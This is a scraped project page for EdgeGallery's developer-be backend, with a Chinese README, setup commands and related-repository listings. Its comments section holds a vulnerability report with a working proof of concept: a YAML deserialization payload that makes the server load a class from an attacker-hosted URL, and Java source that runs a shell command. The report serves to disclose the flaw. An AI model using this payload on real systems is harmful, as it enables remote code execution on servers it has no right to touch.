The backend service for developer module of EdgeGallery platform

Related tags

GUI edgegallery
Overview

Developer-be 开发者平台

License Jenkins

开发者平台是为App开发者提供开发工具/测试环境/上线部署的平台,分为前后台两个部分,developer-be是后台部分,提供接口调用,developer-fe是前台部分,提供界面展示。有关开发者平台的架构的详细介绍请访问我们的wiki社区

特性介绍

为了方便开发者进行APP的开发和测试,我们提供开发者平台,主要包含以下能力:

  • 插件管理

    向开发者提供实用的插件,帮助开发者进行快速开发,并且插件会持续更新,同时开发者也可以参与到插件开发过程中,将自己的插件贡献到平台上。

  • API管理

    • MEP-API

      平台提供可用的MEP接口供开发者使用,提高开发者的开发效率,并能够开发出更加实用的App应用。MEP接口会持续更新,丰富能力。提供工具链,快速将App从x86平台迁移到RAM平台;

    • MEP-ECO API

      开发者也可以将自己开发的App通过接口的形式贡献出来,供其它开发者调用。

  • Projet管理

    • 针对开发者,提供从App立项/开发/测试/部署/上线发布等环节的管理;

    • 提供转换工具可以将x86平台的App快速转换成RAM平台运行;

    • 提供测试沙箱,可以将App自动部署到公有云环境,供用户测试;

    • 直接对接AppStore平台,开发测试通过的App可以直接发布到AppStore。

编译运行

developer-be对外提供restful接口,基于开源的ServiceComb微服务框架进行开发,并且集成了Spring Boot框架。本地运行需要依赖ServiceCenter进行服务注册发现,通过postman进行接口测试。

  • 环境准备(本地运行)

    Name Version Link
    JDK1.8 1.8xxx or above download
    MavApache Maven 3.6.3 download
    IntelliJ IDEA Community download
    Servicecomb Service-Center 1.3.0 download
    Postgres 9.6.17 or above download
  • 修改配置文件/src/main/resources/application.properties

    • 1 修改postgres配置,本地安装默认IP是127.0.0.1,默认端口是5432,默认用户名和密码postgres/root,如下:
    postgres.ip=127.0.0.1
    postgres.database=postgres
    postgres.port=5432
    postgres.username=postgres
    postgres.password=root
    
    • 2 配置Service Center,本地安装IP是127.0.0.1,默认端口30100,servicecomb.name是注册到servicecenter上的服务名,可修改,默认是mec-developer,配置如下:
    #### Service Center config ####
    # ip or service name in k8s
    servicecenter.ip=127.0.0.1
    servicecenter.port=30100
    servicecomb.name=mec-developer
    
  • 编译打包

    从代码仓库拉取代码,默认master分支

    git clone https://github.com/EdgeGallery/developer-be.git
    

    编译构建,需要依赖JDK1.8,首次编译会比较耗时,因为maven需要下载所有的依赖库。

    mvn clean install
    
  • 运行

    cd到打包路径,通过java启动:

    java -jar mec-developer-platform.jar
    

    启动后通过浏览器访问 http://127.0.0.1/30103 可以查看服务是否注册成功。

You might also like...

This repository contains all java related sources of the Dolphin Platform.

This repository contains all java related sources of the Dolphin Platform.

Dolphin Platform This repository contains all Java related sources of the Dolphin Platform. Clients for other languages can be found in seperate repos

Sep 5, 2022

A collection of tools and libraries for easier development on the JavaFX platform!

This project is archived I do not realistically have the time to take care of this project, unfortunately. It originally was built along a Twitter cli

Dec 13, 2022

chaos-platform

chaos-platform

Chaosblade-box: An chaos engineering platform with rich scenes Introduction Chaosblade-box is an chaos engineering platform with rich scenes, the scen

Dec 22, 2022

A cross-platform interface for FutureRestore, written in Java with Swing

A cross-platform interface for FutureRestore, written in Java with Swing

Futurerestore GUI A GUI implementation for FutureRestore written in Java. Installation Download from releases. No Java download required (it's bundled

Dec 30, 2022

Dashjoin Platform

Dashjoin Platform

Dashjoin Open Source & Cloud Native Low Code Development Platform For anyone who is planning a development project, faces a tight schedule, needs to p

Dec 21, 2022

An image annotation desktop-application written in Java using the JavaFX application platform.

An image annotation desktop-application written in Java using the JavaFX application platform.

This is an image annotation desktop-application written in Java using the JavaFX application platform. It allows you to create bounding box annotations using rectangular and polygonal shapes. Annotations can be imported and saved from/to JSON files, Pascal VOC format XML-files or YOLO format TXT-files.

Dec 4, 2022

The backend service for user management module of EdgeGallery platform.

User Management 用户管理 User Management 用户管理模块,为EdgeGallery提供了基本的用户增删改查功能,定义了用户的角色与权限,并且包含了两个关键特性:手机验证和单点登录(Single Sign On)能力。 角色定义 租户 系统内的普通用户,可以创建项目/上传

Dec 25, 2021

The backend service for appstore module of EdgeGallery platform

AppStore-be AppStore是开发者发布和上线App应用的市场,上传App包后首先要通过测试,只有检测通过的应用才能够正式上线。AppStore分为前后台两个部分,AppStore-be是后台部分,提供接口调用, AppStore-fe是前台部分,提供界面展示。有关AppStore架构的

Oct 21, 2022

In the Developer - Platform of EdgeGallery, we have provided a lot of useful APIs, in this project, try to simulates APIs of the competence center to help develoers test API request and response online.

api-emulator api-emulator模块,为EdgeGallery提供了基本能力的模拟api,开发者可以调用该模拟器提供的api,不需要真实部署就可以查看平台已有的能力。目前该api-emulator集成了两种平台能力:位置服务和人脸识别能力。 平台能力简介 位置服务 提供用户位置,E

Dec 25, 2021

Govern Service is a lightweight, low-cost service registration, service discovery, and configuration service SDK.

Govern Service is a lightweight, low-cost service registration, service discovery, and configuration service SDK.

Govern Service is a lightweight, low-cost service registration, service discovery, and configuration service SDK. By using Redis in the existing infrastructure (I believe you have already deployed Redis), it doesn’t need to bring extra to the operation and maintenance deployment. Cost and burden. With the high performance of Redis, Govern Service provides ultra-high TPS&QPS (10W+/s JMH Benchmark).

Nov 22, 2022

A backend service for EdgeGallery application testing and verification

ATP-BE ATP (Application test platform)是应用测试认证的平台,通过构建统一的测试标准并搭建测试框架,为开发者平台与APPStore提供一致的APP测试体验 特性介绍 上传、管理App 编译运行 atp-be对外提供restful接口,基于开源的ServiceCom

Jan 10, 2022

A sub module of EdgeGallery MECM which responsible for the app package management.

mecm-apm Description Application package manager responsible for application package management including Onboarding, distributing package to edge etc

Jan 10, 2022

A sub module of EdgeGallery MECM which responsible for inventory.

mecm-inventory Description MECM-Inventory modules provides common inventory of all system and host level resources of MEC system. Compile and build Th

Dec 29, 2021

A sub module of EdgeGallery MECM which responsible for the app orchestration.

mecm-appo Description Application orchestrator is the core module responsible for orchestrating life cycle maintenance operation of application. Compi

Dec 25, 2021

To quickly integrate your applications into the EdgeGallery platform, we provide the toolchain project to help developers quickly modify code and migrate applications to the platform.

Toolchain 工具链 工具链是MEC Developer开发者平台中的一个重要特性,当x86平台的App想要上车ARM平台时,底层的代码不可避免的需要进行修改或重写。 App提供者可以通过MEC Developer开发者平台中集成的工具链进行源代码分析,定位需要修改的源代码并根据指导意见进行修

Jan 7, 2022

CoSky is a lightweight, low-cost service registration, service discovery, and configuration service SDK.

CoSky is a lightweight, low-cost service registration, service discovery, and configuration service SDK.

High-performance, low-cost microservice governance platform. Service Discovery and Configuration Service

Nov 22, 2022

EdgeGallery test platform

EdgeGallery test platform

edgeT Edge Gallery Test Platform Introduction A micro-services to manage, execute, run test cases (developed in different run-time like java, python,

Sep 14, 2021

🎉Back end module of Sonic UI automation testing platform. Sonic-UI自动化测试平台后端模块。

🎉Back end module of Sonic UI automation testing platform. Sonic-UI自动化测试平台后端模块。

🎉 Sonic UI automation testing platform. English | 简体中文 Background What is sonic ? Nowadays, automation testing, remote control and other technologies

Jan 1, 2023
Comments
  • There is a Deserialization vulnerability that can execute system command.

    There is a Deserialization vulnerability that can execute system command.

    vulnerability type: Deserialization of Untrusted Data impact: system command execution app version: Edgegallery/developer v1.0

    1. Create a META-INF/services file, and create a javax.script.ScriptEngineFactory file, and write what needs to be loaded The name of the class is pocy, and the files of this class are placed in the same directory as META-INF: 微信截图_20210525155221
    2. File content: 微信截图_20210525155434
    3. Start an httpserver server: python -m SimpleHTTPServer 60001
    4. Prepare yaml POC: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
    5. Install and access the EdgeGallery/developer module, click "Deploy and debug" -> "Next" 微信截图_20210525160234
    6. Upload the constructed yaml file 微信截图_20210525160407 Click to upload the created yaml file. 微信截图_20210525160639
    7. View the request information of the http server: 微信截图_20210525160804
    8. Construct the pocy of the creation command: (contain the "touch /tmp/hackercor0ps" command)
    import javax.script.ScriptEngine;
    import javax.script.ScriptEngineFactory;
    import java.io.IOException;
    import java.util.List;
    
    public class pocy implements ScriptEngineFactory {
    
        public pocy() {
            try {
                Runtime.getRuntime().exec(new String[]{"sh","-c","touch /tmp/hackercor0ps"});
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        @Override
        public String getEngineName() {
            return null;
        }
        @Override
        public String getEngineVersion() {
            return null;
        }
        @Override
        public List<String> getExtensions() {
            return null;
        }
        @Override
        public List<String> getMimeTypes() {
            return null;
        }
        @Override
        public List<String> getNames() {
            return null;
        }
        @Override
        public String getLanguageName() {
            return null;
        }
        @Override
        public String getLanguageVersion() {
            return null;
        }
        @Override
        public Object getParameter(String key) {
            return null;
        }
        @Override
        public String getMethodCallSyntax(String obj, String m, String... args) {
            return null;
        }
        @Override
        public String getOutputStatement(String toDisplay) {
            return null;
        }
        @Override
        public String getProgram(String... statements) {
            return null;
        }
        @Override
        public ScriptEngine getScriptEngine() {
            return null;
        }
    }
    
    1. Log in to the host and verify whether the command is executed successfully. 微信截图_20210525161325 We can see that the “touch /tmp/hackercor0ps” command was successfully executed.
    opened by nirvinana 0
Owner
EdgeGallery
EdgeGallery: Open Multi-Access Edge Computing Platform
EdgeGallery
The backend service for appstore module of EdgeGallery platform

AppStore-be AppStore是开发者发布和上线App应用的市场,上传App包后首先要通过测试,只有检测通过的应用才能够正式上线。AppStore分为前后台两个部分,AppStore-be是后台部分,提供接口调用, AppStore-fe是前台部分,提供界面展示。有关AppStore架构的

EdgeGallery 24 Oct 21, 2022
In the Developer - Platform of EdgeGallery, we have provided a lot of useful APIs, in this project, try to simulates APIs of the competence center to help develoers test API request and response online.

api-emulator api-emulator模块,为EdgeGallery提供了基本能力的模拟api,开发者可以调用该模拟器提供的api,不需要真实部署就可以查看平台已有的能力。目前该api-emulator集成了两种平台能力:位置服务和人脸识别能力。 平台能力简介 位置服务 提供用户位置,E

EdgeGallery 21 Dec 25, 2021
A backend service for EdgeGallery application testing and verification

ATP-BE ATP (Application test platform)是应用测试认证的平台,通过构建统一的测试标准并搭建测试框架,为开发者平台与APPStore提供一致的APP测试体验 特性介绍 上传、管理App 编译运行 atp-be对外提供restful接口,基于开源的ServiceCom

EdgeGallery 20 Jan 10, 2022
A sub module of EdgeGallery MECM which responsible for the app package management.

mecm-apm Description Application package manager responsible for application package management including Onboarding, distributing package to edge etc

EdgeGallery 21 Jan 10, 2022
A sub module of EdgeGallery MECM which responsible for inventory.

mecm-inventory Description MECM-Inventory modules provides common inventory of all system and host level resources of MEC system. Compile and build Th

EdgeGallery 23 Dec 29, 2021
A sub module of EdgeGallery MECM which responsible for the app orchestration.

mecm-appo Description Application orchestrator is the core module responsible for orchestrating life cycle maintenance operation of application. Compi

EdgeGallery 25 Dec 25, 2021
To quickly integrate your applications into the EdgeGallery platform, we provide the toolchain project to help developers quickly modify code and migrate applications to the platform.

Toolchain 工具链 工具链是MEC Developer开发者平台中的一个重要特性,当x86平台的App想要上车ARM平台时,底层的代码不可避免的需要进行修改或重写。 App提供者可以通过MEC Developer开发者平台中集成的工具链进行源代码分析,定位需要修改的源代码并根据指导意见进行修

EdgeGallery 19 Jan 7, 2022
EdgeGallery test platform

edgeT Edge Gallery Test Platform Introduction A micro-services to manage, execute, run test cases (developed in different run-time like java, python,

EdgeGallery 23 Sep 14, 2021
Bir oyun yazmak istiyorsunuz. Bu yazılım için backend kodlarını JAVA ile geliştirmeyi planlıyoruz. Yeni üye, satış ve kampanya yönetimi yapılması isteniyor.

GameDemo1 Bir oyun yazmak istiyorsunuz. Bu yazılım için backend kodlarını JAVA ile geliştirmeyi planlıyoruz. Yeni üye, satış ve kampanya yönetimi yapı

Ferit Berkay Kabil 3 May 18, 2021
Docking framework for JavaFX platform

Docking framework for JavaFX platform AnchorFX is a gratis and open source library for JavaFX to create graphical interfaces with docking features Anc

Alessio Vinerbi 197 Oct 15, 2022